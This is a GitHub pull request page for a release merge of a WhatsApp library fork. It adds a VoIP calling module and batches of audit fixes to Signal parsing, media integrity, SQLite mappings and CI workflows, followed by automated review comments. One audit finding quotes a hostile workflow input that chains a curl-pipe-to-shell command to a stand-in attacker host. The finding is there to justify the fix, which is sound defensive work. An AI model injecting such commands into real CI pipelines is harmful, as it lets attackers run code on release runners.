release: develop → master 2026-06-13 — VoIP + 6 audit batches + version sync#546
Conversation
* feat(voip): port SheIITear/baileys-caller — WhatsApp voice calls
Ports the full VoIP stack from SheIITear/baileys-caller (MIT-licensed)
into `src/Voip/`. The fork now supports outbound 1:1 voice calls over
WhatsApp Web's official VoIP WASM module + RTP/UDP transport, alongside
the existing signaling primitives (`offerCall`, `rejectCall`,
`terminateCall`, `callOfferCache`) that already lived in `Socket/`.
What ships
==========
* `src/Voip/wasm-engine.ts` (49KB) — loads `whatsapp.wasm` into a
dedicated Worker thread, manages the heap, dispatches VoIP commands
to the in-WASM engine.
* `src/Voip/relay-transport.ts` (25KB) — RTP/UDP transport, ICE-lite
candidate handling, WebRTC peer connection via `@roamhq/wrtc`.
* `src/Voip/signaling.ts` (26KB) — Baileys ↔ WASM bridge. Translates
XMPP call stanzas (offer/accept/terminate/etc.) into engine commands
and vice-versa. Reuses our `jidDecode`/`jidNormalizedUser` directly
instead of the upstream's `await import('@whiskeysockets/baileys')`.
* `src/Voip/audio-feeder.ts` (4.5KB) — Opus encoder + MP3/WAV
resampler (shells out to `ffmpeg`).
* `src/Voip/worker-bootstrap.ts` (36KB) — Worker-thread entry. Sets
up the WASM module loader + minimal browser globals the WhatsApp
Web JS expects.
* `src/Voip/index.ts` (14KB) — public API: `VoipClient`, `ActiveCall`,
`CallState`. Wires the engine + transport + signaling + feeder
together.
* `src/Voip/types.ts` (2KB) — type definitions.
* `src/Voip/voip-optional-peers.d.ts` — ambient declarations for the
two OPTIONAL peer deps (`@roamhq/wrtc`, `qrcode-terminal`) so `tsc`
compiles cleanly when they aren't installed.
* `src/Voip/ATTRIBUTION.md` — verbatim MIT license from the upstream
repo + list of adaptations made for the fork.
Assets:
* `src/Voip/assets/wasm/whatsapp.wasm` (9.8MB) — Meta-authored VoIP
WASM binary, originating from WhatsApp Web's CDN.
* `src/Voip/assets/wasm/loader.js` (155KB) — companion loader.
* `src/Voip/assets/wasm/worker-modules.js` (826KB) — companion
worker-side modules.
Adaptations vs upstream
=======================
* `.mts` → `.ts`, internal `.mjs` import paths → `.js` (matches our
`tsc-esm-fix --ext=.js` post-pass).
* Replaced upstream's `await import('@whiskeysockets/baileys')` lazy
peer-dep ceremony with direct imports from the fork's own modules
(`../Socket/index`, `../Utils/use-multi-file-auth-state`,
`../Types/index`). The peer-dep dance is unnecessary inside the
fork itself.
* `@roamhq/wrtc` (~50MB native WebRTC) and `qrcode-terminal` declared
as OPTIONAL peer dependencies in `package.json` —
`peerDependenciesMeta.*.optional = true`. Default install footprint
is unchanged for consumers who don't place calls.
Public API
==========
Re-exported from `src/index.ts`:
* `VoipClient`, `ActiveCall`, `CallState`
* Types: `VoipSdkConfig`, `CallOptions`, `CallEvents`, `AudioConfig`
Usage (per the upstream README, also applies here):
import { VoipClient } from '@whiskeysockets/infiniteapi'
const client = new VoipClient({ authDir: './auth' })
await client.connect()
const call = await client.call('5511999000111', { audioSource: './hello.mp3' })
call.on('connected', () => console.log('connected'))
call.on('audio', (pcm) => { /* 16kHz mono Float32Array */ })
Runtime requirements
====================
* Node.js ≥ 20 (Worker threads)
* `@roamhq/wrtc` installed (optional peer)
* `qrcode-terminal` installed (optional peer, only for the standalone
`connect()` QR-on-CLI flow)
* `ffmpeg` on PATH for MP3/WAV source decoding
Validation
==========
* `npm run build` clean
* 49/49 existing tests pass across 4 suites (meta-ai-msmsg,
lottie-sticker-message, error-log-utils, dsm-context-info-preservation)
* Published-package size grows by ~11MB (the WASM blob + companions).
Acceptable for the feature scope; consumers who don't want it can
tree-shake at their own bundler layer.
Customizations preserved (NOT touched)
======================================
Carousel, lists, buttons, polls, view-once, biz `quality_control`,
`useLegacyLock`, TC token custom flow, LID↔PN batched, Phase 9
multi-DB, `lidDbMigrated:false`, `cacheMetricsInterval` memory-leak
fix, schema migrations + statement cache + busy retry,
recoverable-error compact logging, Meta AI msmsg decryption, Lottie
sticker wrap/unwrap, DSM context info per-field merge.
fix(media): reupload-on-410/404 catch now reads Boom statusCode (#533)
fix(audit P1 batch): 7 findings from 8-agent repository audit (#532)
8-agent re-audit of develop @ 1e8cd36 (after #529 #532 #533 landed) surfaced these 3 critical bugs. Each verified against the actual code and spec before fixing. ## P1 — SIG-A1 — `extractIdentityFromPkmsg` reads wrong protobuf field libsignal.ts:222 was checking `fieldNumber === 5` for the identity key in a PreKeySignalMessage. Per the libsignal spec (WhisperTextProtocol.proto, `PreKeySignalMessage`): field 1: preKeyId (uint32, varint, wireType 0) field 2: baseKey (bytes 33, wireType 2) field 3: identityKey (bytes 33, wireType 2) ← what we wanted field 4: message (bytes, wireType 2) field 5: registrationId (uint32, varint, wireType 0) field 6: signedPreKeyId (uint32, varint, wireType 0) Field 5 is registrationId — a varint, not a 33-byte key. Combined with the wire-type filter (`wireType === 2`) the function NEVER matched anything and ALWAYS returned `undefined`. Direct consequence: identity-change detection in `decryptMessage`, the `identity.changed` event, and the reinstall-triggered session cleanup were all dead code in production. Anyone reinstalling WhatsApp could decrypt with the new identity key without us noticing. Fix: change to `fieldNumber === 3` and rewrite the docblock with the exact field assignments from the spec so this doesn't regress. ## P1 — SOCK-01 — `query()` returned `undefined` on timeout socket.ts: `waitForMessage` swallows the Boom timedOut and returns `undefined`. `query()` re-exported that contract to its callers, who mostly couldn't distinguish a timeout from a legitimate empty response. Concrete damage already in the codebase: - `uploadPreKeys` logged "uploaded pre-keys successfully" and reset `lastUploadTime` on timeout — silently exhausting the server-side pre-key pool; - `appPatch` bumped `app-state-sync-version` on timeout — drifting LTHash from the server's; - `fetchPrivacySettings` destructured `undefined` → opaque TypeError far from the source; - `assertSessions` set `didFetchNewSession = true` without injecting a single session. `query()` now converts the `undefined` sentinel into a typed Boom (`statusCode: DisconnectReason.timedOut`, `data: {msgId, timeoutMs}`). Callers that catch this can retry; callers that don't surface a clear failure instead of a downstream mystery. `waitForMessage` keeps its current shape — only `query()`'s contract tightens, which is the entrypoint the audit-flagged consumers use. ## P1 — TST-07 — H4 `it.failing` tests are dead trackers `signal.delete-migrate-race.test.ts:62,94` were `it.failing` suites authored before the H4 fix shipped (Stage 2, upstream WhiskeySockets#2572 — now at `libsignal.ts:777` and friends). They exercise a local `addTransactionCapability` mock with synthetic addresses, NOT the real `transactWith({ records: [{type:'session', id}] })` path the production fix uses. Like the H8/H9 placeholders we already demoted, they keep "failing as expected" no matter how good the production code gets, signalling a phantom open issue forever. Demoted to `it.skip` with a comment explaining the gap. The H4 fix remains live in production. ## SC-01 — yarn.lock checksums for 45 platform binaries The audit flagged 45 entries (`@esbuild/*` + `@unrs/resolver-binding-*`) without `checksum:` lines. Verified: `awk` count returns the missing entries. These are optional native deps for OS/arch combinations that yarn can't fetch on this Windows machine — so a local `yarn install` won't populate them. The fix is to run `yarn install` on a Linux runner (or via CI) so the lockfile gets the missing checksums and `--immutable` installs verify integrity properly. Not addressed in this PR; tracked as a CI-side follow-up. ## Validation - `tsc --noEmit -p tsconfig.json` — exit 0 - `eslint` on all touched files — exit 0 - Touched test suites pass; the lone failing suite locally is `signal-typed-backend` (better-sqlite3 native bindings on Windows toolchain, pre-existing) ## Customizations untouched Carousel / list / button / poll / view-once / biz quality_control paths intact. SIG-A1 only changes the field number that was already wrong; SOCK-01 hardens an existing contract without expanding it.
) Targeted P2 cleanup. All low-risk; the env-var hardening is the same pattern already applied to Defaults/index.ts in the previous batch. ## UTL-02 — `assertColor` returns undefined for numeric input src/Utils/messages.ts:119 — the `typeof color === 'number'` branch computed `assertedColor` but had no `return`, so every numeric caller received `undefined`. Concrete impact: - `backgroundArgb` (around line 333) drove a status background - status text color path (around line 1539) Both ended up with `undefined` ARGB on numeric input — silent visual bug, no error thrown. Added the missing `return assertedColor`. ## ENV-01/02/03 — `parseInt(env || 'N')` ignores garbage Bare `parseInt(process.env.X || 'N', 10)` returns `NaN` when the var is set to a non-numeric value like "60s" or "true", because `'60s' || 'N'` is truthy and `parseInt('60s')` parses to 60 OR NaN depending on the leading char. Downstream consumers: - `setInterval(NaN)` is clamped by Node to 1 ms — tight loop - `server.listen(NaN)` produces an opaque bind error Three call sites still using the bare pattern (Defaults/index.ts was fixed in the previous batch): - session-activity-tracker.ts:18 → `flushIntervalMs` - prometheus-metrics.ts:171 → `port` - prometheus-metrics.ts:182 → `collectIntervalMs` New helper at `src/Utils/env-utils.ts` exports `intFromEnv` + `floatFromEnv` that reject non-finite / below-min values. Refactored all three call sites to use it. Defaults/index.ts keeps its local copy for now to minimise PR overlap; a follow-up can unify them. ## EXP-01 — VoIP public types not exported from root src/index.ts only re-exported `VoipSdkConfig, CallOptions, CallEvents, AudioConfig`. Consumer code reaching for `IncomingCallHandle`, `ActiveCallHandle`, `VideoConfig`, `VideoFrame`, `VideoFrameFormat`, `AcceptOptions`, `VoipClientEvents`, `VoipIncomingCallEvent`, `VoipSocketLike`, `RelayListUpdate` had to deep-import from `baileys/lib/Voip/types` — which breaks the moment a `"exports"` map is added to `package.json` and is fragile to any internal layout change. All public surface types are now exported from the root, alphabetised for diff hygiene. ## Validation - `tsc --noEmit -p tsconfig.json` — exit 0 - `eslint` on all touched files — exit 0 ## Customizations untouched Carousel / list / button / poll / view-once / biz quality_control paths intact. assertColor returns the same value it computed — just now it actually returns it.
…02/03 + TST refactors (#536) * fix(audit batch C): UTL-01 HMAC + SIG-A2 TOFU + CI-01/02/03 + MDB-01/02/03 + TST refactors Mega-batch closing the remaining audit findings from the post-merge review of develop @ 1e8cd36. 12 files, 13 fixes — each verified locally with tsc + eslint + jest. ## P2 — runtime hardening UTL-01 (messages-media.ts) — `downloadEncryptedContent` now verifies the 10-byte HMAC-SHA256 trailer the WhatsApp media protocol appends to every encrypted blob. The Transform reserves the trailing 10 bytes, recomputes the MAC over (iv + ciphertext), and rejects with Boom 401 on mismatch. Gated on `macKey && !range-request && !firstBlockIsIV` so range fetches and IV-prefixed chunked downloads stay on the existing fast path. The stale "no batch path verifies" TODO comment is replaced with the actual implementation reference. SIG-A2 (libsignal.ts) — `isTrustedIdentity` was `return true` unconditionally. It's a SYNC predicate (libsignal calls it from native code paths that don't await), so async storage lookups aren't possible here. We reach the in-memory `identityKeyCache` LRU and log a WARN when the wire's identity diverges from the cached value; still returns true (TOFU) so a peer legitimately reinstalling WhatsApp isn't blocked. A future PR can promote this to strict-mode rejection. MDB-01/02/03 (multi-db-sqlite): - New `JidMapBackend.getAllLidsForPn` returns ALL historical LIDs ever mapped to a PN. WhatsApp links multiple device-LIDs to a PN over time; a forward delete now wipes them all instead of just the most recent (which would leave N-1 ressurrectable via inner.get fallback). - `wrapKeysWithJidMap.set` propagates the null-sentinel delete request down to `inner.set` as well, covering legacy `lid-mapping` entries that landed in the inner store before the Phase 9 migration. Without this they kept resurrecting from inner.get whenever a deleted PN got re-queried. - Cross-DB write ordering: comment block documents WHY axolotl.db commits before msgstore.db.jid_map. SQLite has no cross-file transaction primitive (ATTACH breaks busy-timeout + better-sqlite3's per-DB tx wrapper); the documented ordering keeps crash-recovery semantics correct. Promoting this to a real distributed-transaction needs a write-ahead log on either side, out of scope for this PR. ## CI hardening CI-01 (.github/workflows/lint.yml) — removed the `yarn lint:fix` step that ran BEFORE `yarn lint`. `lint:fix` modifies the working tree in place, so the gate then inspected the auto-corrected source. PRs with prettier-fixable / autofix-eligible eslint errors used to silently pass CI while the upstream branch still had the errors. CI-02 (.github/workflows/manual-release.yml) — `inputs.increment` no longer interpolated directly into a `run:` shell command. Now passed through an env var so a hostile workflow_dispatch input (e.g. `patch && curl https://attacker/x | sh`) can't execute arbitrary code on the release runner. CI-03 (.github/workflows/update-proto.yml) — `wa_version` comes from a regex over output produced by an external proto-extract run that fetches web.whatsapp.com. Now passed through an env var AND a numeric-only filter (`tr -cd '0-9.'`); empty result fails fast instead of writing `{"version": []}` to baileys-version.json. ## TST refactors — test what production runs TST-05 (bad-ack-handling.test.ts) — partial fix. Replaced the local `jidNormalizedUser` mirror with the real WABinary import so future drift is impossible. The full `handleBadAck463` extraction would require flattening ~10 surrounding closures from `makeMessagesRecvSocket` — tracked in a TODO comment for a follow-up. TST-06 (offline-buffer-timeout.test.ts + new offline-buffer-state.ts) — full fix. Extracted `startBuffer` / `onOffline` / `onClose` into a standalone `createOfflineBufferState(flush, warn, timeoutMs)` factory under `src/Socket/`. `socket.ts` now uses the factory directly; the test imports the same factory instead of mirroring its logic. The production code is verified end-to-end by the unit tests now. TST-04 (new decode-bounds.test.ts) — zlib bomb cap + recursive depth cap finally have coverage. Exercises `decompressingIfRequired`, `decodeDecompressedBinaryNode`, and the public `decodeBinaryNode` entrypoint. Uses the existing `depth` parameter on `decodeDecompressedBinaryNode` to drive the recursion guard at the boundary instead of forging a 65-level nested LIST stanza by hand. ## Not addressed in this PR (intentional) - SC-01 (45 yarn.lock entries without checksums) — these are optional native deps for OS/arch combinations yarn can't fetch on the Windows dev box this PR was assembled on. Fix is to run `yarn install` on a Linux runner so the lockfile picks up the missing checksums; tracked as a CI-side follow-up. - TST-01/02/03 (cobertura zero em messages-send.ts, fast-path ACK, signalStorage) — the production paths are tangled with several layers of closures inside `makeSocket` / `makeMessagesRecvSocket` / signal repository setup; carving testable seams there is the same effort category as TST-06 was (extract factory, refactor caller, write tests imports). Decided not to do all three under one mega-PR; each gets its own PR with a clear scope. ## Validation - `tsc --noEmit -p tsconfig.json` — exit 0 - `eslint` on all touched files — exit 0 - Touched test suites (WABinary, Socket/offline-buffer, Socket/bad-ack, Signal, messages, messages-media) — 132 passed, 4 skip - The 4 jest failures observed locally are pre-existing `signal-typed-backend` better-sqlite3 native binding misses on Windows toolchain — unrelated. ## Customizations untouched Carrossel / lista / botão / poll / view-once / biz quality_control paths intact. UTL-01 HMAC verification is opt-in by macKey presence — callers already passing the full `MediaDecryptionKeyInfo` (the overwhelming common path) now get integrity for free; legacy callers without macKey still work without the trailing check.
…touched (#537) Round-4 audit on develop @ 13e96c7. Each finding cross-checked against the actual code BEFORE fixing. False positives and ambiguous-zones (carousel/list/button code paths) intentionally left alone — only the 7 that are clearly real AND clearly safe are addressed here. ## P0 UTL-P0 — `aes` undefined crash on streams ≤ 10 bytes `src/Utils/messages-media.ts` — when the entire downloaded payload was ≤ HMAC_TRAILER_LEN bytes, every `transform()` returned early holding the bytes as a trailer candidate without ever initialising `aes`. `final()` then called `aes.final()` → `TypeError: Cannot read properties of undefined`. Now returns a typed Boom 400 instead. ## P1 — real bugs WAB-P1 — `readInt(4)` could return a negative length `src/WABinary/decode.ts` — JS bitwise ops yield signed i32. A `BINARY_32` with the high bit set produced e.g. -2147483648, which `checkEOS` accepted trivially (`index + (-N) > buffer.length` is false), then `readBytes` returned an empty buffer silently. The existing comment claimed this was rejected by `checkEOS` — it was not. Force unsigned with `>>> 0` and rewrite the comment. MDB-P1-A + MDB-P1-B — `deleteMapping` was `db.prepare()`-in-loop AND SELECT+DELETE without a transaction `src/Utils/multi-db-sqlite/lid-mapping-backend.ts` — Native statement was compiled on every call (memory leak through V8's lazy GC). Also the SELECT-then-DELETE had a window for a concurrent writer in any future worker-thread variant. Cached statement added to `this.stmts`; the read+delete wrapped in `db.transaction(...)()`. VOIP-P1 — `new Worker()` failure was swallowed silently `src/Voip/wasm-engine/instance.ts` — Earlier the worker spawn was a bare `try { ... } catch {}`. A missing bootstrap file, V8 OOM, or resource exhaustion would leave the pthread pool at 0 workers and the WASM init would time out after 15 s with no clue. Now logs through `callbacks.onLog` (or `process.stderr` as fallback) with the spawn error or the missing path. CI-P1-A — `inputs.force` interpolated straight into shell (2 places) `.github/workflows/update-version.yml` — Same pattern that CI-02 closed in `manual-release.yml`. The API REST accepts arbitrary strings for boolean inputs, so a hostile dispatcher could shell-inject. Pass through env vars now. CI-P1-B — `wa_version`/`wa_js_url` raw in steps AFTER the sanitised write `.github/workflows/update-proto.yml` — The sanitisation was only applied inside the "Update baileys-version.json" step. "Enable Auto-merge" and "Summary" steps still consumed the raw values straight from `${{ steps.wa_proto_info.outputs.wa_version }}`. Now passed through env vars + `tr -cd` filter at the consumer side. The `wa_js_url` value (which had NEVER been sanitised anywhere) is now filtered through a strict URL-safe charset. ARCH-P1 — literal NUL byte in `lock-manager.ts` `src/Utils/lock-manager.ts:16` — The `refKey` separator was an actual 0x00 byte, making git/grep treat the file as binary and CI tools / code-review tools silently skip it. Replaced with the escape sequence `\0` — semantically identical at runtime (still a NUL char) but the file source is now plain ASCII text. ## Carousel / list / button — INTENTIONALLY NOT TOUCHED Round-4 also flagged 4 P1 in the message generation paths (MSG-P1-A/B/C/D). Investigation showed: - MSG-P1-C `card.footer` duplicated in subtitle: this is the empirically-validated Frida-captured structure of the WhatsApp binary; the Pastorini reference has `subtitle(=footer)` by design. Touching it would BREAK carousel rendering. - MSG-P1-A mixed buttons: code may be working, the auditor cited "undefined behaviour" without a reproducer. No E2E to verify. - MSG-P1-B biz `product_list` for single_select: the in-code comment explicitly states "All listMessages (SINGLE_SELECT and PRODUCT_LIST) need biz > list node" — appears to be empirical. - MSG-P1-D Lottie newsletter wrap: path tangled; needs E2E. Per project constraint (no regressions in carousel/list/button), all four left alone. Documented as follow-ups requiring E2E coverage. ## Validation - `tsc --noEmit -p tsconfig.json` exit 0 - `eslint` on the 7 touched files: 0 errors - decode-bounds + messages-media + offline-buffer test suites: 31/31 pass
Integrates the WhatsApp Web / proto auto-update PRs #527 #528 #530 #531 #539 #540 #541 #542 #543 #544 from master so the release branch carries the most recent `baileys-version.json` / `WAProto/*` while still bringing the feature/fix work from develop. # Conflicts: # WAProto/WAProto.proto # src/Defaults/baileys-version.json # src/Socket/messages-recv.ts # src/Socket/messages-send.ts
|
Thanks for opening this pull request and contributing to the project! The next step is for the maintainers to review your changes. If everything looks good, it will be approved and merged into the main branch. In the meantime, anyone in the community is encouraged to test this pull request and provide feedback. ✅ How to confirm it worksIf you’ve tested this PR, please comment below with: This helps us speed up the review and merge process. 📦 To test this PR locally:If you encounter any issues or have feedback, feel free to comment as well. |
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (4)
🚧 Files skipped from review as they are similar to previous changes (2)
📝 WalkthroughWalkthroughAdds a complete WhatsApp VoIP client module ( ChangesCI Workflow Updates
VoIP Module
Core Hardening and Bug Fixes
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes Possibly related PRs
Poem
✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Warning Billing warning: we have not been able to collect payment for this subscription for more than 72 hours. Please update the payment method or pay any pending invoices in Billing to avoid service interruption. |
There was a problem hiding this comment.
Pull request overview
Release merge bringing develop into master with the VoIP WASM calling stack, multiple audit-driven hardening batches (decoder bounds, Signal parsing fixes, SQLite Phase-9.x integrity), and CI/workflow security improvements (Actions v4 migrations + input sanitization).
Changes:
- Adds/lands VoIP calling module (engine + signaling bridge + relay transport + audio feeder) and re-exports its public API/types from the root entry.
- Applies audit fixes across WABinary/Signal/media/SQLite, including DoS bounds, identity/session correctness, and multi-DB SQLite schema & mapping handling.
- Hardens CI workflows (checkout/setup-node v4, shell-injection mitigations, publish token exposure reduction) and updates formatting/tooling ignores for vendored VoIP assets.
Reviewed changes
Copilot reviewed 55 out of 61 changed files in this pull request and generated 7 comments.
Show a summary per file
| File | Description |
|---|---|
| yarn.lock | Updates peer dependency metadata for optional VoIP peers. |
| package.json | Adds optional VoIP peer deps (@roamhq/wrtc, qrcode-terminal) and updates peer meta. |
| src/index.ts | Exposes VoIP API and types from the package root. |
| src/Voip/index.ts | Main VoIP client/call implementation (standalone + embedded modes). |
| src/Voip/types.ts | Public VoIP type surface (call/options/events/config). |
| src/Voip/voip-optional-peers.d.ts | Ambient typings for lazy-loaded optional peers. |
| src/Voip/audio-feeder.ts | ffmpeg-based PCM feeder with pacing/backpressure. |
| src/Voip/relay-transport.ts | WebRTC datachannel relay transport for RTP/UDP tunneling. |
| src/Voip/signaling/index.ts | Signaling barrel export. |
| src/Voip/signaling/bridge.ts | Baileys↔WASM signaling bridge (encrypt/decrypt/TC tokens/routing). |
| src/Voip/wasm-engine/index.ts | WasmEngine barrel export. |
| src/WABinary/decode.ts | Adds inflate output cap, recursion depth cap, unsigned length fix, proto-less attrs. |
| src/WAM/encode.ts | Micro-optimization for extended detection via short-circuiting. |
| src/Signal/libsignal.ts | Fixes identity-key extraction field, varint overflow guard, identity trust WARN, address resolver unification. |
| src/Signal/session-cleanup.ts | Documents remaining lock-scope caveat for cleanup vs per-record operations. |
| src/Signal/session-activity-tracker.ts | Uses shared env int parsing to avoid NaN scheduling loops. |
| src/Socket/socket.ts | Tightens query() timeout into typed error; extracts offline buffer state machine. |
| src/Socket/offline-buffer-state.ts | New production offline-buffer state machine (unit-testable). |
| src/Socket/messages-recv.ts | Audit-driven reliability fixes (ignored-stanza ACK behavior, msmsg ACK narrowing, formatting-only conflict resolution). |
| src/Socket/messages-send.ts | Formatting + small robustness tweaks in send paths (device cache, newsletter attrs, DSM context). |
| src/Utils/messages.ts | Fixes numeric color return; fixes media reupload detection (Boom statusCode). |
| src/Utils/messages-media.ts | Adds media HMAC trailer verification for full downloads; minor import cleanup. |
| src/Utils/meta-ai-msmsg.ts | Small refactors/formatting in msmsg decrypt flow. |
| src/Utils/decode-wa-message.ts | Minor formatting/blank line adjustments. |
| src/Utils/error-log-utils.ts | Minor formatting/blank line adjustments. |
| src/Utils/env-utils.ts | New shared env parsing helpers (intFromEnv, floatFromEnv). |
| src/Utils/event-buffer.ts | Fixes group update buffering to merge updates unconditionally. |
| src/Utils/prometheus-metrics.ts | Uses shared env parsing helper for port/interval robustness. |
| src/Utils/multi-db-sqlite/use-multi-db-sqlite-auth-state.ts | Adds busy-retry to saveCreds and clarifies busy-retry helper usage. |
| src/Utils/multi-db-sqlite/schemas/msgstore.ts | Strengthens schema constraints (jid.raw_string NOT NULL, jid_map.sort_id NOT NULL DEFAULT). |
| src/Utils/multi-db-sqlite/lid-mapping-backend.ts | Adds delete + “all LIDs for PN” helpers; caches delete stmt; query improvements. |
| src/Utils/multi-db-sqlite/keys-with-jid-map.ts | Corrects delete propagation + cross-DB ordering and best-effort mapping persistence behavior. |
| src/Types/index.ts | Re-exports additional public types; corrects business hours field types. |
| src/Defaults/index.ts | Hardens env int parsing for session cleanup scheduling. |
| src/tests/WABinary/decode-bounds.test.ts | New tests for decoder DoS bounds (inflate cap + recursion depth). |
| src/tests/Socket/offline-buffer-timeout.test.ts | Switches tests to exercise production offline-buffer state machine. |
| src/tests/Socket/bad-ack-handling.test.ts | Uses real jidNormalizedUser from WABinary instead of local mirror. |
| src/tests/Utils/meta-ai-msmsg.test.ts | Import ordering/formatting adjustments to match refactors. |
| src/tests/Utils/signal.delete-migrate-race.test.ts | Demotes placeholder failing tests to skipped with rationale. |
| src/tests/Utils/messages-recv.retry-counter.test.ts | Demotes placeholder failing tests to skipped with rationale. |
| src/tests/Utils/messages-recv.lid-migration.test.ts | Demotes placeholder failing tests to skipped with rationale. |
| src/tests/Utils/error-log-utils.test.ts | Formatting adjustments. |
| src/tests/Utils/contact-picture-identity.test.ts | Formatting adjustments. |
| src/tests/Utils/auth-utils.cacheable-concurrency.test.ts | Formatting adjustments. |
| eslint.config.mts | Ignores VoIP assets; relaxes eqeqeq null check rule within src/Voip/**. |
| .prettierignore | Ignores vendored VoIP assets to avoid churn. |
| .github/workflows/update-version.yml | Prevents shell injection by passing inputs via env. |
| .github/workflows/update-proto.yml | Updates Actions to v4; sanitizes external inputs; strengthens version validation. |
| .github/workflows/test.yml | Updates Actions to v4. |
| .github/workflows/lint.yml | Updates Actions to v4; removes pre-lint auto-fix step. |
| .github/workflows/build.yml | Updates Actions to v4. |
| .github/workflows/manual-release.yml | Updates Actions to v4; prevents shell injection for increment input. |
| .github/workflows/publish-release.yml | Updates Actions to v4; reduces token exposure; pins release action to SHA. |
| .github/workflows/pr-comment.yml | Updates Actions to v4. |
| .github/workflows/stale.yml | Updates stale action to v9. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 7fdf1898b7
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
There was a problem hiding this comment.
17 issues found across 61 files
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="src/Voip/wasm-engine/instance.ts">
<violation number="1" location="src/Voip/wasm-engine/instance.ts:591">
P1: Probe the bundled group-call export name as well; checking only `startGroupCall` can incorrectly fall back to the 1:1 path and skip group-call metadata/behavior.</violation>
</file>
<file name="src/Voip/audio-feeder.ts">
<violation number="1" location="src/Voip/audio-feeder.ts:151">
P2: Emission loop is incorrectly tied to child-process liveness. Finite audio sources can stop uplink cadence when ffmpeg exits.</violation>
</file>
<file name="src/Utils/messages-media.ts">
<violation number="1" location="src/Utils/messages-media.ts:774">
P1: MAC is verified only at stream end but plaintext is streamed earlier, so unauthenticated data can be consumed before rejection.</violation>
</file>
<file name=".github/workflows/publish-release.yml">
<violation number="1" location=".github/workflows/publish-release.yml:28">
P2: Release workflow still references mutable GitHub Action tags (`@v4`) instead of immutable SHAs. This weakens supply-chain hardening and allows behavior changes without code review.</violation>
</file>
<file name="src/Voip/assets/wasm/worker-modules.js">
<violation number="1">
P1: Array.prototype.flatMap polyfill is semantically incorrect when thisArg is passed. It can return incorrect output by iterating the wrong object.</violation>
<violation number="2">
P2: WebCodecs support check can throw in non-window environments due to direct window access. This can crash capability probing instead of returning false.</violation>
</file>
<file name="src/Utils/multi-db-sqlite/keys-with-jid-map.ts">
<violation number="1" location="src/Utils/multi-db-sqlite/keys-with-jid-map.ts:192">
P2: Reverse-only delete can leave stale forward mapping in legacy inner store, causing deleted PN→LID to resurrect via fallback reads. Also delete forward key for the PN resolved from the LID before applying delete.</violation>
</file>
<file name="src/Signal/libsignal.ts">
<violation number="1" location="src/Signal/libsignal.ts:318">
P2: `readVarint` still accepts 5-byte varints that overflow uint32 and silently wraps them due JS 32-bit shifts. Crafted protobuf fields can be misparsed as valid values instead of being rejected.</violation>
</file>
Reply with feedback, questions, or to request a fix.
Re-trigger cubic
| @@ -0,0 +1,273 @@ | |||
| ;/*FB_PKG_DELIM*/ | |||
There was a problem hiding this comment.
P1: Array.prototype.flatMap polyfill is semantically incorrect when thisArg is passed. It can return incorrect output by iterating the wrong object.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/Voip/assets/wasm/worker-modules.js:
<comment>Array.prototype.flatMap polyfill is semantically incorrect when thisArg is passed. It can return incorrect output by iterating the wrong object.</comment>
| }, | ||
| final(callback) { | ||
| try { | ||
| if (verifyMac && hmac) { |
There was a problem hiding this comment.
P1: MAC is verified only at stream end but plaintext is streamed earlier, so unauthenticated data can be consumed before rejection.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/Utils/messages-media.ts, line 774:
<comment>MAC is verified only at stream end but plaintext is streamed earlier, so unauthenticated data can be consumed before rejection.</comment>
<file context>
@@ -731,6 +771,44 @@ export const downloadEncryptedContent = async (
},
final(callback) {
try {
+ if (verifyMac && hmac) {
+ // Feed the tail bytes (the 0–15 bytes left in
+ // `remainingBytes` from the very last chunk after the
</file context>
There was a problem hiding this comment.
Actionable comments posted: 13
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/Utils/multi-db-sqlite/lid-mapping-backend.ts (1)
182-184:⚠️ Potential issue | 🟠 Major | ⚡ Quick win
Date.now()is too weak for the write-order key.Line 184 stores
sort_idwith millisecond resolution, but both PN→LID read paths order only bysort_id DESC. Two remaps for the same PN in one millisecond can therefore return either LID, which breaks the intended last-write-wins behavior and can route lookups back to a stale session. Use a strictly monotonic value here (for example, timestamp + per-process sequence, or another unique write-order column) and keep the readers ordered by that key.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/Utils/multi-db-sqlite/lid-mapping-backend.ts` around lines 182 - 184, The upsertMap.run() call in the lid-mapping-backend.ts file uses Date.now() for the sort_id parameter, which provides only millisecond resolution and is insufficient to guarantee write-order semantics. Replace Date.now() with a strictly monotonic value such as a combination of the current timestamp and a per-process sequence counter to ensure that multiple writes within the same millisecond can be properly ordered. Additionally, verify that all PN→LID read paths that order results by sort_id DESC are consistent with this monotonic ordering approach so that last-write-wins behavior is reliably maintained.
🧹 Nitpick comments (4)
.github/workflows/update-version.yml (1)
228-228: 💤 Low valueConsider env indirection for consistency.
For defense in depth and consistency with the hardening pattern applied at lines 108, 132-133, consider passing
pr_numberthrough an env variable rather than direct interpolation, even though it's validated workflow output.🔒 Optional hardening pattern
Add to the step's
envblock:env: GH_TOKEN: ${{ secrets.GH_PAT || secrets.GITHUB_TOKEN }} + PR_NUMBER_INPUT: ${{ steps.create_pr.outputs.pr_number }} run: | - PR_NUMBER="${{ steps.create_pr.outputs.pr_number }}" + PR_NUMBER="$PR_NUMBER_INPUT"🤖 Prompt for AI Agents
